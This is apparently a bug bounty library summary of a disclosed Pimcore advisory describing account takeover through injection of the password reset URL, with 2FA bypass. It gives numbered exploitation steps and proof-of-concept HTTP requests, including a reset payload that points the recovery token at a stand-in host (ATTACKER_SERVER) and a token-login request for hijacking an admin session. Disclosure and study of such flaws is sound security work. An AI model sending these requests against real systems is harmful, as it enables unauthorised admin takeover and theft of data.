# Pimcore: Account Takeover via Password Reset URL Injection allows unauthenticated attacker to hijack any admin account with 2FA bypass

Unauthenticated attacker supplies attacker-controlled resetPasswordUrl to Pimcore's password reset endpoint; the real recovery token is appended and emailed to the victim, who leaks it to the attacker, enabling admin takeover with 2FA bypass.

- Payout: Research
- Severity: high
- Program: Pimcore
- Found by: byteoverride
- Disclosed: 2026-08-28
- CVE: CVE-2026-55207
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-h854-c3m3-mh5v
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h854-c3m3-mh5v
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:php technique:source-review vuln:account-takeover vuln:auth-bypass vuln:mfa-bypass

**Target:** Pimcore Studio backend password reset endpoint and token login API
**Root cause:** The public reset-password endpoint accepts an unvalidated attacker-supplied resetPasswordUrl and concatenates the server-generated recovery token onto it before emailing the victim. Token login also explicitly disables 2FA.
**Steps:**
1. Send unauthenticated `POST /pimcore-studio/api/user/reset-password` with body `{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}`
2. Confirm token generated in DB (has_token=1, token_prefix visible) even if mail delivery fails
3. Victim clicks the emailed link; token is sent to attacker's server as `?token=...`
4. Attacker calls `POST /pimcore-studio/api/login/token` with `{"token":"..."}` and receives PHPSESSID + auth profile cookies
5. Use session cookie against `GET /pimcore-studio/api/users` to confirm full admin access
**How found:** Code review of the public ResetPasswordController and ResetPassword schema revealed resetPasswordUrl was a required, unvalidated parameter; tracing UserLoginService showed the token concatenated onto it, and AdminTokenAuthenticator showed 2FA disabled on token login.
**Exploitation:** Attacker needs only a valid admin username. They trigger a reset with their own URL; the legitimate Pimcore server emails the victim a link pointing at the attacker. Victim click exfiltrates the 24h single-use token, which the attacker redeems at the token login endpoint to obtain an authenticated admin session, bypassing 2FA.
**Escalation:** Admin session grants control of CMS content, assets, PIM data, users, config, and server-side code execution via class definitions.
**Insight:** When a reset flow accepts a client-supplied redirect/callback URL, check whether the server-generated token is appended to it before mailing — the token leaks to the attacker even without any redirect following, and token-login paths often skip MFA.

## Proof of concept (copied exactly from the original report)

**Reset request with attacker-controlled resetPasswordUrl**

```
POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}
```

**Token login request to hijack admin session**

```
POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}
```

**Authenticated request proving admin access**

```
GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419
```